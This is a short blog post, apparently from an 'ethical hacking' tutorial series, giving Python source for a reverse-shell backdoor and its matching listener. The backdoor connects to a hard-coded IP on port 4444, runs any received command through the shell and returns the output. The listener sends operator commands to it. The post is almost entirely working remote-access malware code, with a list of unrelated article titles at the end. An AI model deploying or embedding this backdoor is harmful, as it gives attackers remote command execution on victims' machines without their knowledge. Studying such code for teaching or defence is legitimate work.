Python Ethical Hacking - BACKDOORS(2)
2024-09-07 17:28:23
Refactoring - Creating a Listener Class
#!/usr/bin/env python
import socket class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address)) def execute_remotely(self, command):
self.connection.send(command)
return self.connection.recv(1024).decode() def run(self):
while True:
command = input(">> ").encode()
result = self.execute_remotely(command)
print(result) my_listener = Listener("10.0.0.43", 4444)
my_listener.run()
Creating a Backdoor class:
#!/usr/bin/env python
import socket
import subprocess class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port)) def execute_system_command(self, command):
return subprocess.check_output(command, shell=True) def run(self):
while True:
command = self.connection.recv(1024).decode()
command_result = self.execute_system_command(command)
self.connection.send(command_result)
connection.close() my_backdoor = Backdoor("10.0.0.43", 4444)
my_backdoor.run()
最新文章
- Codeforces Round #353 (Div. 2)Restoring Painting
- Apache Jena - A Bootstrap
- 修改VNC分辨率大小
- Microsoft.DirectX.DirectSound.dll和Microsoft.DirectX.dll引用,导致项目无法调试问题
- JavaWeb学习总结(十二)--事务
- C# 在vs2010中打开vs2012的项目(转)
- 对Struts的理解
- hdu4507
- sim808模块收发送短信
- ERP中关于审批时速度太慢的SQL优化
- node框架express
- Linux 首先基本包安装(vim啊什么的),源,源优化,项目架构介绍, (LNMuWsgi)Django项目相关软件mysql,redies,python(相关模块)安装配置测试
- Pycharm启动后加载anaconda一直updating indices造成Pycharm闪退甚至电脑崩溃
- Day12--Python--生成器,生成器函数,推导式,生成器表达式
- JAVA自学笔记18
- Bootstrap modal模态框关闭时,combobox input下拉框仍然保留在页面上
- Python 简单soket例子
- 20175316盛茂淞 2018-2019-2《Java程序设计》第4周学习总结
- 第一次安装tomcat报错,出现failed to install tomcat8 service错误
- 12 tensorflow实战:修改三维tensor矩阵的某个剖面